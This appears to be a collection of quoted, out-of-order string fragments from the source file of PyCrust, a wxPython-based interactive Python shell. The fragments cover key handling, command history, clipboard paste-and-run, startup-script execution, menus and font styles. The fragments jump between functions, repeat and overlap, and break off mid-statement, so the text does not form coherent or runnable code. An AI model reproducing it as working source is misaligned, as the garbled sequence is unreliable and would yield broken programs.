"\"\"\"Return true if a paste should succeed.\"\"\" if self.CanEdit() and \\ (wxStyledTextCtrl.CanPaste(self) or",
"range(len(chunks)): chunks[c] = os.linesep.join(chunks[c].split('\\n')) lines[l] = os.linesep.join(chunks) text = os.linesep.join(lines) return text def",
"the # next, and reset when you hit Enter. self.historyIndex == -1 means",
"self.history[0]): self.history.insert(0, command) def write(self, text): \"\"\"Display text in the shell. Replace line",
"\\ rawin=self.raw_input, \\ stdin=self.reader, \\ stdout=PseudoFileOut(self.writeOut), \\ stderr=PseudoFileErr(self.writeErr), \\ *args, **kwds) # Find",
"lines[l].split('\\r') for c in range(len(chunks)): chunks[c] = os.linesep.join(chunks[c].split('\\n')) lines[l] = os.linesep.join(chunks) text =",
"= 0 # Create the command history. Commands are added into the front",
"= self.reader.isreading skip = 0 if isreading: prompt = str(sys.ps3) elif self.more: prompt",
"WXK_NEXT) if wxPlatform == '__WXMSW__': faces = { 'times' : 'Times New Roman',",
"self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_MODULE, self.OnUpdateMenu) def OnExit(self, event): self.Close(True) def OnUndo(self, event): self.shell.Undo() def",
"self.shell.Cut() def OnCopy(self, event): self.shell.Copy() def OnPaste(self, event): self.shell.Paste() def OnClear(self, event): self.shell.Clear()",
"wrap=1): \"\"\"Sets whether text is word wrapped.\"\"\" try: self.SetWrapMode(wrap) except AttributeError: return 'Wrapping",
"Paste from the clipboard, run commands. elif controlDown and shiftDown \\ and key",
"an About PyCrust window.\"\"\" import sys title = 'About PyCrust' text = 'PyCrust",
"line. Shift+End Select to the end of the line. End Go to the",
"if command == text: command = '' # Real commands have prompts. if",
"the clipboard. elif (controlDown and key in (ord('X'), ord('x'))) \\ or (shiftDown and",
"back # to the beginning if we don't find anything. if (self.historyIndex <=",
"= event.IsChecked() tree.update() def OnFillingShowDoc(self, event): tree = self.crust.filling.fillingTree tree.showDoc = event.IsChecked() tree.update()",
"== wxSTC_P_OPERATOR: braceAtCaret = caretPos - 1 # Check after. if braceAtCaret <",
"= command.rstrip() command = command.replace('\\n', os.linesep + sys.ps2) else: command = '' if",
"our singleton clipboard instance data = enClipboard.data self.python_obj_paste_handler(data) finally: wxTheClipboard.Close() return def PasteAndRun(self):",
"wxID_REDO, self.OnRedo) EVT_MENU(self, wxID_CUT, self.OnCut) EVT_MENU(self, wxID_COPY, self.OnCopy) EVT_MENU(self, wxID_PASTE, self.OnPaste) EVT_MENU(self, wxID_CLEAR,",
"command. if self.CanEdit(): self.SetCurrentPos(endpos) self.interp.more = 0 command = self.GetTextRange(startpos, endpos) lines =",
"+ startupScript self.push('print %s;execfile(%s)' % \\ ('startupText', 'startupScript')) else: self.push('') def setStyles(self, faces):",
"line transposition. elif controlDown and key in (ord('T'), ord('t')): pass # Basic navigation",
"1) m.Append(ID_AUTOCOMP_INCLUDE_SINGLE, 'Include Single Underscores', \\ 'Include attibutes prefixed by a single underscore',",
"self.write(prompt) return self.readline() def ask(self, prompt='Please enter your response:'): \"\"\"Get response from the",
"Methods', 'Show methods and functions in the tree view', 1) fm.Append(ID_FILLING_SHOW_CLASS, 'Show __class__',",
"name, value) else: raise AttributeError(name) def _getAttributeNames(self): \"\"\"Return list of magic attributes to",
"history buffer.\"\"\" self.ReplaceSelection('') if history is None: history = self.history newindex = self.historyIndex",
"tree.update() def OnFillingShowClass(self, event): tree = self.crust.filling.fillingTree tree.showClass = event.IsChecked() tree.update() def OnFillingShowDict(self,",
"> 0: if isreading: skip = 1 else: self.write(os.linesep) if not self.more: self.promptPosStart",
"in searchOrder: command = self.history[i] if command[:len(searchText)] == searchText: # Replace the current",
"event.IsChecked() def OnAutoCompleteIncludeSingle(self, event): self.shell.autoCompleteIncludeSingle = event.IsChecked() def OnAutoCompleteIncludeDouble(self, event): self.shell.autoCompleteIncludeDouble = event.IsChecked()",
"we want to send a close event. # In the close event handler",
"a blank # line or the same as the last command. if command",
"{ 'times' : 'Times', 'mono' : 'Courier', 'helv' : 'Helvetica', 'other' : 'new",
"# Don't allow line deletion. elif controlDown and key in (ord('L'), ord('l')): pass",
"string based on user input.\"\"\" if prompt: self.write(prompt) return self.readline() def ask(self, prompt='Please",
"\\ or (self.historyIndex >= len(self.history)-2): searchOrder = list(range(len(self.history))) else: searchOrder = list(range(self.historyIndex+1, len(self.history)))",
"* Key bindings: Home Go to the beginning of the command or line.",
"os.linesep.join(lines) return text def prompt(self): \"\"\"Display appropriate prompt for the context, either ps1,",
"self.autoCompleteIncludeMagic = 1 self.autoCompleteIncludeSingle = 1 self.autoCompleteIncludeDouble = 1 self.autoCompleteCaseInsensitive = 1 self.AutoCompSetIgnoreCase(self.autoCompleteCaseInsensitive)",
"\\ 'Include attibutes prefixed by a single underscore', 1) m.Append(ID_AUTOCOMP_INCLUDE_DOUBLE, 'Include Double Underscores',",
"= str(sys.ps3) elif self.more: prompt = str(sys.ps2) else: prompt = str(sys.ps1) pos =",
"if not self.historyPrefix: self.historyPrefix = 1 self.historyMatches = None prefix = self.getCommand(rstrip=0) n",
"'Cu&t \\tCtrl+X', 'Cut the selection') m.Append(wxID_COPY, '&Copy \\tCtrl+C', 'Copy the selection') m.Append(wxID_PASTE, '&Paste",
"buffer.\"\"\" self.ReplaceSelection('') if history is None: history = self.history newindex = self.historyIndex +",
"raw_input(self, prompt=''): \"\"\"Return string based on user input.\"\"\" if prompt: self.write(prompt) return self.readline()",
"submit a command to the interpreter. if not controlDown and key == WXK_RETURN:",
"# license included in enthought/LICENSE.txt and may be redistributed only # under the",
"= \"$Id: shell.py,v 1.2 2003/06/13 17:59:34 dmorrill Exp $\" __revision__ = \"$Revision: 1.2",
"the current working directory \".\" to the search path. sys.path.insert(0, os.curdir) # Import",
"the previous/next command from the history buffer.\"\"\" if not self.CanEdit(): return startpos =",
"(not self.more and (self.GetTextRange(self.promptPosEnd, self.GetCurrentPos()) == '')): self.historyShow() else: self.insertLineBreak() # If the",
"more. if self.more: self.write(' '*4) # Temporary hack indentation. self.EnsureCaretVisible() self.ScrollToColumn(0) def readline(self):",
"# Start a new command, which may be multiline. command = line else:",
"if (prefix == item[:len(prefix)]) and item not in items: items.append(item) self.UserListShow(1, '\\n'.join(items)) def",
"the # clipboard is really just a signal to grab the data #",
"2 else: # GTK faces = { 'times' : 'Times', 'mono' : 'Courier',",
"elif controlDown and key in (ord('T'), ord('t')): pass # Basic navigation keys should",
"negative to reduce.\"\"\" self.SetZoom(points) wxID_SELECTALL = wxNewId() ID_AUTOCOMP = wxNewId() ID_AUTOCOMP_SHOW = wxNewId()",
"self.reader = PseudoFileIn(self.readline) self.reader.input = '' self.reader.isreading = 0 # Set up the",
"text without a leading prompt.\"\"\" ps1 = str(sys.ps1) ps1size = len(ps1) ps2 =",
"0 # Assign handlers for keyboard events. EVT_KEY_DOWN(self, self.OnKeyDown) EVT_CHAR(self, self.OnChar) # Assign",
"if prompt: self.write(prompt) return self.readline() def ask(self, prompt='Please enter your response:'): \"\"\"Get response",
"not necessarily be valid Python syntax.\"\"\" if not text: text = self.GetCurLine()[0] #",
"on the # clipboard is really just a signal to grab the data",
"self.OnFillingShowMethods) EVT_MENU(self, ID_FILLING_SHOW_CLASS, self.OnFillingShowClass) EVT_MENU(self, ID_FILLING_SHOW_DICT, self.OnFillingShowDict) EVT_MENU(self, ID_FILLING_SHOW_DOC, self.OnFillingShowDoc) EVT_MENU(self, ID_FILLING_SHOW_MODULE, self.OnFillingShowModule)",
"# Add the dictionary that was passed in. if locals: shellLocals.update(locals) # Create",
"data = wxTextDataObject(command) if wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close() def CopyWithPrompts(self): \"\"\"Copy selection, including prompts,",
"sys.ps1, '\\n') text = text.replace(os.linesep + sys.ps2, '\\n') text = text.replace(os.linesep, '\\n') lines",
"1 self.historyMatches = None prefix = self.getCommand(rstrip=0) n = len(prefix) if n >",
"'autoCompleteIncludeMagic', 'autoCompleteIncludeSingle', ] list.sort() return list class Shell(wxStyledTextCtrl): \"\"\"PyCrust Shell based on wxStyledTextCtrl.\"\"\"",
"the interpreter. This particular shell is based on wxPython's wxStyledTextCtrl. The latest files",
"self.interp pass def config(self): \"\"\"Configure shell based on user preferences.\"\"\" self.SetMarginType(1, wxSTC_MARGIN_NUMBER) self.SetMarginWidth(1,",
"if charAfter < 0: charAfter = 32 # Mimic a space. #*** styleAfter",
"event.AltDown() shiftDown = event.ShiftDown() currpos = self.GetCurrentPos() endpos = self.GetTextLength() selecting = self.GetSelectionStart()",
"self.GetTextLength() self.SetCurrentPos(endpos) startpos = self.promptPosEnd self.SetSelection(startpos, endpos) self.ReplaceSelection('') text = data.GetText() text =",
"PythonObject from .drag_and_drop import clipboard as enClipboard sys.ps3 = '<-- ' # Input",
"few characters of a previous command and then press F9.) \"\"\" def help(self):",
"InterpClass == None: from PyCrust.interpreter import Interpreter else: Interpreter = InterpClass # Create",
"the latest non-continuation prompt. elif key == WXK_BACK: if selecting and self.CanEdit(): event.Skip()",
"ShellFacade instance.\"\"\" self.interp.locals['shell'] = ShellFacade(other=self) def execStartupScript(self, startupScript): \"\"\"Execute the user's PYTHONSTARTUP script",
"+ ')') endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) if tip: curpos = self.GetCurrentPos() tippos",
"sys.version.split()[0] + \\ 'wxPython Version: %s\\n' % wx.__version__ + \\ 'Platform: %s\\n' %",
"in (ord('V'), ord('v'))) \\ or (shiftDown and not controlDown and key == WXK_INSERT):",
"far: elif key == WXK_F9: self.historyShow(self.getCommand(rstrip=0)) # Don't backspace over the latest non-continuation",
"of the shell. elif not self.CanEdit(): pass else: event.Skip() def clearCommand(self): \"\"\"Delete the",
"\"\"\"Process the line of text at which the user hit Enter.\"\"\" # The",
"'backcol': '#FFFFFF', } class ShellFacade: \"\"\"Simplified interface to all shell-related functionality. This is",
"return '' def pause(self): \"\"\"Halt execution pending a response from the user.\"\"\" self.ask('Press",
"to be ignored in this handler. if key == WXK_RETURN: pass elif key",
"command. Add to the command. command += '\\n' command += line commands.append(command) for",
"styleAfter = self.GetStyleAt(caretPos) if charAfter and chr(charAfter) in '[]{}()' \\ and styleAfter ==",
"= 1 self.prompt() try: while not reader.input: wxYield() input = reader.input finally: reader.input",
"a dialog box.\"\"\" dialog = wxTextEntryDialog(None, prompt, \\ 'Input Dialog (Raw)', '') try:",
"text: if not text.endswith(os.linesep): text += os.linesep self.write(text) try: self.write(self.interp.introText) except AttributeError: pass",
"self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_METHODS, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_CLASS, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DICT, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DOC, self.OnUpdateMenu)",
"1 else: self.write(os.linesep) if not self.more: self.promptPosStart = self.GetCurrentPos() if not skip: self.write(prompt)",
"history buffer.\"\"\" if not self.CanEdit(): return startpos = self.GetCurrentPos() self.replaceFromHistory(step) endpos = self.GetCurrentPos()",
"if they have one.\"\"\" if startupScript and os.path.isfile(startupScript): startupText = 'Startup script executed:",
"# Let Ctrl-Alt-* get handled normally. elif controlDown and altDown: event.Skip() # Clear",
"buffer. elif (shiftDown and key == WXK_DOWN) and self.CanEdit(): self.OnHistoryInsert(step=-1) # Search up",
"= self.GetCurrentPos() command = self.GetTextRange(startpos, stoppos) command = command.replace(os.linesep + sys.ps2, '\\n') command",
"the fallback. tippos = max(tippos, fallback) self.CallTipShow(tippos, tip) def historyShow(self, prefix=''): items =",
"self.promptPosEnd # Return (Enter) needs to be ignored in this handler. if key",
"list(range(self.historyIndex)) for i in searchOrder: command = self.history[i] if command[:len(searchText)] == searchText: #",
"1) m = self.optionsMenu = wxMenu() m.AppendMenu(ID_AUTOCOMP, '&Auto Completion', self.autocompMenu, \\ 'Auto Completion",
"wxID_CLEAR, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_SHOW, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_MAGIC, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_SINGLE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_DOUBLE,",
"self.historyPrefix = 0 # Assign handlers for keyboard events. EVT_KEY_DOWN(self, self.OnKeyDown) EVT_CHAR(self, self.OnChar)",
"self.GotoLine(line) while self.GetCurLine()[0][:ps2size] == ps2: line += 1 self.GotoLine(line) stoppos = self.GetCurrentPos() command",
"return 1 else: return 0 def CanEdit(self): \"\"\"Return true if editing should succeed.\"\"\"",
"Insert the next command from the history buffer. elif (shiftDown and key ==",
"characters of a previous command and then press F9.) \"\"\" def help(self): \"\"\"Display",
"on wxStyledTextCtrl.\"\"\" name = 'PyCrust Shell' revision = __revision__ def __init__(self, parent, id=-1,",
"mode. elif key == WXK_INSERT: pass # Don't allow line deletion. elif controlDown",
"> home: self.SetCurrentPos(home) if not selecting and not shiftDown: self.SetAnchor(home) self.EnsureCaretVisible() else: event.Skip()",
"self.UserListShow(1, '\\n'.join(items)) def OnHistorySelected(self, event): command = event.GetText() if command.find('\\\\n') >= 0: command",
"event.Check(self.shell.autoComplete) elif id == ID_AUTOCOMP_INCLUDE_MAGIC: event.Check(self.shell.autoCompleteIncludeMagic) elif id == ID_AUTOCOMP_INCLUDE_SINGLE: event.Check(self.shell.autoCompleteIncludeSingle) elif id",
"will autocomplete. self.autoCompleteKeys = self.interp.getAutoCompleteKeys() # Keep track of the last non-continuation prompt",
"the current, unexecuted command.\"\"\" startpos = self.promptPosEnd endpos = self.GetTextLength() self.SetSelection(startpos, endpos) self.ReplaceSelection('')",
"Usually the dot (period) key activates auto completion. # Get the command between",
"Underscores', \\ 'Include attibutes prefixed by a double underscore', 1) m = self.calltipsMenu",
"Or replace the current command with the other command. else: # If the",
"def help(self): \"\"\"Display some useful information about how to use the shell.\"\"\" self.write(self.helpText)",
"reset when you hit Enter. self.historyIndex == -1 means # you're on the",
"of text at which the user hit Enter.\"\"\" # The user hit ENTER",
"applications, like PythonCard, may choose to hide rather than # quit so we",
"= max(tippos, fallback) self.CallTipShow(tippos, tip) def historyShow(self, prefix=''): items = [] for item",
"EVT_MENU(self, wxID_REDO, self.OnRedo) EVT_MENU(self, wxID_CUT, self.OnCut) EVT_MENU(self, wxID_COPY, self.OnCopy) EVT_MENU(self, wxID_PASTE, self.OnPaste) EVT_MENU(self,",
"def getCommand(self, text=None, rstrip=1): \"\"\"Extract a command from text which may include a",
": 'Helvetica', 'other' : 'new century schoolbook', 'size' : 12, 'lnsize' : 10,",
"to the shell.\"\"\" if redirect: sys.stderr = PseudoFileErr(self.writeErr) else: sys.stderr = self.stderr def",
"selecting and key not in NAVKEYS and not self.CanEdit(): pass # Paste from",
"position and loop back # to the beginning if we don't find anything.",
"# is also available online at http://www.enthought.com/licenses/BSD.txt # Thanks for using Enthought open",
"quit so we should just post the event and let the surrounding app",
"autocomplete character to the end of the command. command = self.GetTextRange(stoppos, currpos) if",
"history for the text in front of the cursor. elif key == WXK_F8:",
"Enthought open source! # # Author: Enthought, Inc. # Description: <Enthought util package",
"automatically pop up command argument help? self.autoCallTip = 1 self.CallTipSetBackground(wxColour(255, 255, 232)) self.wrap()",
"into the shell.\"\"\" file = open(filename) try: self.prompt() for command in file.readlines(): if",
"text.strip() text = self.fixLineEndings(text) text = self.lstripPrompt(text=text) text = text.replace(os.linesep + sys.ps1, '\\n')",
"self.fillingMenu = wxMenu() fm.Append(ID_FILLING_AUTO_UPDATE, 'Automatic Update', 'Automatically update tree view after each command',",
"commands/responses. key = event.KeyCode() controlDown = event.ControlDown() altDown = event.AltDown() shiftDown = event.ShiftDown()",
"'': self.historyShow() else: command += chr(key) self.write(chr(key)) if self.autoComplete: self.autoCompleteShow(command) elif key ==",
"over the latest non-continuation prompt. elif key == WXK_BACK: if selecting and self.CanEdit():",
"'&Help') self.SetMenuBar(b) EVT_MENU(self, wxID_EXIT, self.OnExit) EVT_MENU(self, wxID_UNDO, self.OnUndo) EVT_MENU(self, wxID_REDO, self.OnRedo) EVT_MENU(self, wxID_CUT,",
"= wxNewId() ID_FILLING_AUTO_UPDATE = wxNewId() ID_FILLING_SHOW_METHODS = wxNewId() ID_FILLING_SHOW_CLASS = wxNewId() ID_FILLING_SHOW_DICT =",
"self.redirect* methods. self.stdin = sys.stdin self.stdout = sys.stdout self.stderr = sys.stderr self.handlers =",
"when you hit Enter. self.historyIndex == -1 means # you're on the current",
"the end of the command. command = self.GetTextRange(stoppos, currpos) if command == '':",
"= self.fixLineEndings(text) text = self.lstripPrompt(text=text) text = text.replace(os.linesep + sys.ps1, '\\n') text =",
"of PyCrust.' def zoom(self, points=0): \"\"\"Set the zoom level. This number of points",
"1 self.autoCompleteCaseInsensitive = 1 self.AutoCompSetIgnoreCase(self.autoCompleteCaseInsensitive) self.AutoCompSetSeparator(ord('\\n')) # Do we want to automatically pop",
"else: event.Skip() # # The following handlers modify text, so we need to",
"tree = self.crust.filling.fillingTree tree.showDict = event.IsChecked() tree.update() def OnFillingShowDoc(self, event): tree = self.crust.filling.fillingTree",
"self.CanEdit(): self.SetCurrentPos(endpos) self.interp.more = 0 command = self.GetTextRange(startpos, endpos) lines = command.split(os.linesep +",
"entries that match the command typed so far: elif key == WXK_F9: self.historyShow(self.getCommand(rstrip=0))",
"# Insert the previous command from the history buffer. elif (shiftDown and key",
"by self.redirect* methods. self.stdin = sys.stdin self.stdout = sys.stdout self.stderr = sys.stderr self.handlers",
"__revision__ def __init__(self, other): \"\"\"Create a ShellFacade instance.\"\"\" methods = ['ask', 'clear', 'pause',",
"Ctrl+Shift+V Paste and run multiple commands from clipboard. Ctrl+Up Arrow Retrieve Previous History",
"expertise.\"\"\" from __future__ import print_function __author__ = \"<NAME> <<EMAIL>>\" __cvsid__ = \"$Id: shell.py,v",
"from wx.stc import * import keyword import os import sys from wx.py.pseudo import",
"event): \"\"\"Keypress event handler. Only receives an event if OnKeyDown calls event.Skip() for",
"sent to the interpreter. This particular shell is based on wxPython's wxStyledTextCtrl. The",
"total hack job, but it works. text = self.GetCurLine()[0] line = self.GetCurrentLine() while",
"command.replace(os.linesep, '\\n') command = command.replace('\\n', os.linesep + sys.ps2) self.write(command) if wxTheClipboard.IsSupported(PythonObject) and \\",
"def Paste(self): \"\"\"Replace selection with clipboard contents.\"\"\" if self.CanPaste() and wxTheClipboard.Open(): try: if",
"the user has complete control over their # environment. They can override anything",
"= 0 # Keep track of multi-line commands. self.more = 0 # Create",
"preferences. self.config() # Display the introductory banner information. try: self.showIntro(introText) except: pass #",
"command.replace(os.linesep + sys.ps1, os.linesep) command = self.lstripPrompt(text=command) data = wxTextDataObject(command) if wxTheClipboard.Open(): wxTheClipboard.SetData(data)",
"of the standard Python shell when # the user hits return without entering",
"os.linesep + sys.ps2) self.ReplaceSelection(command) def OnHistoryInsert(self, step): \"\"\"Insert the previous/next command from the",
"self.shell.SelectAll() def OnAbout(self, event): \"\"\"Display an About PyCrust window.\"\"\" import sys title =",
"= __revision__ def __init__(self, parent, id=-1, pos=wxDefaultPosition, \\ size=wxDefaultSize, style=wxCLIP_CHILDREN, introText='', \\ locals=None,",
"def __init__(self, other): \"\"\"Create a ShellFacade instance.\"\"\" methods = ['ask', 'clear', 'pause', 'prompt',",
"stdout.\"\"\" self.write(text) def writeErr(self, text): \"\"\"Replacement for stderr.\"\"\" self.write(text) def redirectStdin(self, redirect=1): \"\"\"If",
"self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CLEAR, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_SHOW, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_MAGIC, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_SINGLE, self.OnUpdateMenu)",
"Strip the prompt off the front of text. if text[:ps1size] == ps1: text",
"includeSingle=self.autoCompleteIncludeSingle, includeDouble=self.autoCompleteIncludeDouble) if list: options = '\\n'.join(list) offset = 0 self.AutoCompShow(offset, options) def",
"'Cut the selection') m.Append(wxID_COPY, '&Copy \\tCtrl+C', 'Copy the selection') m.Append(wxID_PASTE, '&Paste \\tCtrl+V', 'Paste')",
"the command or line. Shift+Home Select to the beginning of the command or",
"2 points too large. So we need to reduce the font size. if",
"entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_MODULE, 'Show __module__', 'Show __module__ entries in",
"WXK_DELETE): self.Cut() # Copy to the clipboard. elif controlDown and not shiftDown \\",
"startpos = self.promptPosEnd self.SetSelection(startpos, endpos) self.ReplaceSelection('') text = data.GetText() text = text.strip() text",
"keys after the latest prompt. elif key == WXK_DELETE: if self.CanEdit(): event.Skip() elif",
"of the # prompt every time a command is issued. ps1 = str(sys.ps1)",
"\"\"\" * Key bindings: Home Go to the beginning of the command or",
"silently. self.run(command, prompt=0, verbose=0) else: self.run(command, prompt=0, verbose=1) finally: file.close() def autoCompleteShow(self, command):",
"the next command from the history buffer. elif (shiftDown and key == WXK_DOWN)",
"items = [] for item in self.history: item = item.replace( '\\n', '\\\\n' )",
"= wxNewId() ID_FILLING_SHOW_DICT = wxNewId() ID_FILLING_SHOW_DOC = wxNewId() ID_FILLING_SHOW_MODULE = wxNewId() class ShellMenu:",
"id == ID_AUTOCOMP_SHOW: event.Check(self.shell.autoComplete) elif id == ID_AUTOCOMP_INCLUDE_MAGIC: event.Check(self.shell.autoCompleteIncludeMagic) elif id == ID_AUTOCOMP_INCLUDE_SINGLE:",
"particular shell is based on wxPython's wxStyledTextCtrl. The latest files are always available",
"\"\"\"Replace selection with command from the history buffer.\"\"\" self.ReplaceSelection('') if history is None:",
"if editing should succeed.\"\"\" if self.GetSelectionStart() != self.GetSelectionEnd(): if self.GetSelectionStart() >= self.promptPosEnd \\",
"if self.CanEdit() and not self.topLevelComplete(): event.Skip() # Don't toggle between insert mode and",
"not shiftDown: self.SetAnchor(home) self.EnsureCaretVisible() else: event.Skip() # # The following handlers modify text,",
"handlers for keyboard events. EVT_KEY_DOWN(self, self.OnKeyDown) EVT_CHAR(self, self.OnChar) # Assign handlers for wxSTC",
"prompts here. Need to keep track of the # prompt every time a",
"if command[:len(searchText)] == searchText: # Replace the current selection with the one we've",
"step): \"\"\"Replace with the previous/next command from the history buffer.\"\"\" if not self.historyPrefix:",
"data = wxTextDataObject(command) if wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close() def Paste(self): \"\"\"Replace selection with clipboard",
"sys.ps2) self.write(command) if wxTheClipboard.IsSupported(PythonObject) and \\ self.python_obj_paste_handler is not None: # note that",
"= line else: # Multiline command. Add to the command. command += '\\n'",
"\"fore:#7F007F,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_CHARACTER, \"fore:#7F007F,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_WORD, \"fore:#00007F,bold\") self.StyleSetSpec(wxSTC_P_TRIPLE, \"fore:#7F0000\") self.StyleSetSpec(wxSTC_P_TRIPLEDOUBLE, \"fore:#000033,back:#FFFFE8\")",
"left paren activates a call tip and cancels # an active auto completion.",
"This particular shell is based on wxPython's wxStyledTextCtrl. The latest files are always",
"# Multiline command. Add to the command. command += '\\n' command += line",
"press F9.) \"\"\" def help(self): \"\"\"Display some useful information about how to use",
"true then sys.stdin will come from the shell.\"\"\" if redirect: sys.stdin = self.reader",
"ID_FILLING_SHOW_METHODS: event.Check(self.crust.filling.fillingTree.showMethods) elif id == ID_FILLING_SHOW_CLASS: event.Check(self.crust.filling.fillingTree.showClass) elif id == ID_FILLING_SHOW_DICT: event.Check(self.crust.filling.fillingTree.showDict) elif",
"shell based on user preferences.\"\"\" self.SetMarginType(1, wxSTC_MARGIN_NUMBER) self.SetMarginWidth(1, 40) self.SetLexer(wxSTC_LEX_PYTHON) self.SetKeyWords(0, ' '.join(keyword.kwlist))",
"\"\"\"Set the zoom level. This number of points is added to the size",
"text. if text[:ps1size] == ps1: text = text[ps1size:] elif text[:ps2size] == ps2: text",
"def OnClear(self, event): self.shell.Clear() def OnSelectAll(self, event): self.shell.SelectAll() def OnAbout(self, event): \"\"\"Display an",
"if not controlDown and key == WXK_RETURN: if self.AutoCompActive(): event.Skip() return if self.CallTipActive():",
"Ctrl+Shift+C Copy selected text, retaining prompts. Ctrl+X Cut selected text. Ctrl+V Paste from",
"self.processLine() wxTheClipboard.Close() def wrap(self, wrap=1): \"\"\"Sets whether text is word wrapped.\"\"\" try: self.SetWrapMode(wrap)",
"# Home needs to be aware of the prompt. elif key == WXK_HOME:",
"event): self.shell.Cut() def OnCopy(self, event): self.shell.Copy() def OnPaste(self, event): self.shell.Paste() def OnClear(self, event):",
"from the history buffer.\"\"\" if not self.CanEdit(): return startpos = self.GetCurrentPos() self.replaceFromHistory(step) endpos",
"= self.GetTextLength() selecting = self.GetSelectionStart() != self.GetSelectionEnd() # Return (Enter) is used to",
">>> \"\"\" # Go to the very bottom of the text. endpos =",
"def OnFillingShowMethods(self, event): tree = self.crust.filling.fillingTree tree.showMethods = event.IsChecked() tree.update() def OnFillingShowClass(self, event):",
"= text.split('\\r\\n') for l in range(len(lines)): chunks = lines[l].split('\\r') for c in range(len(chunks)):",
"0 # Keep track of multi-line commands. self.more = 0 # Create the",
"\\ 'Click on the close button to leave the application.' def quit(self): \"\"\"Quit",
"the interpreter will autocomplete. self.autoCompleteKeys = self.interp.getAutoCompleteKeys() # Keep track of the last",
"the behavior of the standard Python shell when # the user hits return",
"current position in the history; it gets incremented as you # retrieve the",
"self.StyleSetSpec(wxSTC_P_DEFNAME, \"fore:#007F7F,bold\") self.StyleSetSpec(wxSTC_P_OPERATOR, \"\") self.StyleSetSpec(wxSTC_P_IDENTIFIER, \"\") self.StyleSetSpec(wxSTC_P_COMMENTBLOCK, \"fore:#7F7F7F\") self.StyleSetSpec(wxSTC_P_STRINGEOL, \"fore:#000000,face:%(mono)s,back:#E0C0E0,eolfilled\" % faces) def",
"PythonCard, may choose to hide rather than # quit so we should just",
"else: # Allow the normal event handling to take place. event.Skip() def OnKeyDown(self,",
"17:59:34 dmorrill Exp $\" __revision__ = \"$Revision: 1.2 $\"[11:-2] from wx.wx import *",
"wx.stc import * import keyword import os import sys from wx.py.pseudo import PseudoFileIn,",
"Don't allow line deletion. elif controlDown and key in (ord('L'), ord('l')): pass #",
"processLine(self): \"\"\"Process the line of text at which the user hit Enter.\"\"\" #",
"== WXK_INSERT): self.Paste() # Paste from the clipboard, run commands. elif controlDown and",
"redirect is true then sys.stdout will go to the shell.\"\"\" if redirect: sys.stdout",
"prefix=''): items = [] for item in self.history: item = item.replace( '\\n', '\\\\n'",
"\"\"\"Create a ShellFacade instance.\"\"\" methods = ['ask', 'clear', 'pause', 'prompt', 'quit', 'redirectStderr', 'redirectStdin',",
"self.promptPosEnd \\ and self.GetSelectionEnd() >= self.promptPosEnd: return 1 else: return 0 def CanCopy(self):",
"== ID_FILLING_AUTO_UPDATE: event.Check(self.crust.filling.fillingTree.autoUpdate) elif id == ID_FILLING_SHOW_METHODS: event.Check(self.crust.filling.fillingTree.showMethods) elif id == ID_FILLING_SHOW_CLASS: event.Check(self.crust.filling.fillingTree.showClass)",
"commands. elif controlDown and shiftDown \\ and key in (ord('V'), ord('v')): self.PasteAndRun() #",
"command from the history buffer. elif (shiftDown and key == WXK_DOWN) and self.CanEdit():",
"prompt='Please enter your response:'): \"\"\"Get response from the user using a dialog box.\"\"\"",
"None prefix = self.getCommand(rstrip=0) n = len(prefix) if n > 0: self.historyMatches =",
"'redirectStdout', 'run', 'runfile', 'wrap', 'zoom', ] for method in methods: self.__dict__[method] = getattr(other,",
"12, 'lnsize' : 10, 'backcol': '#FFFFFF', } class ShellFacade: \"\"\"Simplified interface to all",
"reference to ShellFacade instance.\"\"\" self.interp.locals['shell'] = ShellFacade(other=self) def execStartupScript(self, startupScript): \"\"\"Execute the user's",
"\"fore:#7F0000\") self.StyleSetSpec(wxSTC_P_TRIPLEDOUBLE, \"fore:#000033,back:#FFFFE8\") self.StyleSetSpec(wxSTC_P_CLASSNAME, \"fore:#0000FF,bold\") self.StyleSetSpec(wxSTC_P_DEFNAME, \"fore:#007F7F,bold\") self.StyleSetSpec(wxSTC_P_OPERATOR, \"\") self.StyleSetSpec(wxSTC_P_IDENTIFIER, \"\") self.StyleSetSpec(wxSTC_P_COMMENTBLOCK, \"fore:#7F7F7F\")",
"'\\n') command = command.rstrip() command = command.replace('\\n', os.linesep + sys.ps2) else: command =",
"The font was 2 points too large. So we need to reduce the",
"self.reader.isreading skip = 0 if isreading: prompt = str(sys.ps3) elif self.more: prompt =",
"to the fallback. tippos = max(tippos, fallback) self.CallTipShow(tippos, tip) def historyShow(self, prefix=''): items",
"to ShellFacade instance.\"\"\" self.interp.locals['shell'] = ShellFacade(other=self) def execStartupScript(self, startupScript): \"\"\"Execute the user's PYTHONSTARTUP",
"event.IsChecked() tree.update() def OnFillingShowDict(self, event): tree = self.crust.filling.fillingTree tree.showDict = event.IsChecked() tree.update() def",
"or (shiftDown and not controlDown and key == WXK_INSERT): self.Paste() # Paste from",
"self.historyIndex = -1 self.historyPrefix = 0 # Assign handlers for keyboard events. EVT_KEY_DOWN(self,",
"interpreter will autocomplete. self.autoCompleteKeys = self.interp.getAutoCompleteKeys() # Keep track of the last non-continuation",
"+ sys.ps1, os.linesep) command = self.lstripPrompt(text=command) data = wxTextDataObject(command) if wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close()",
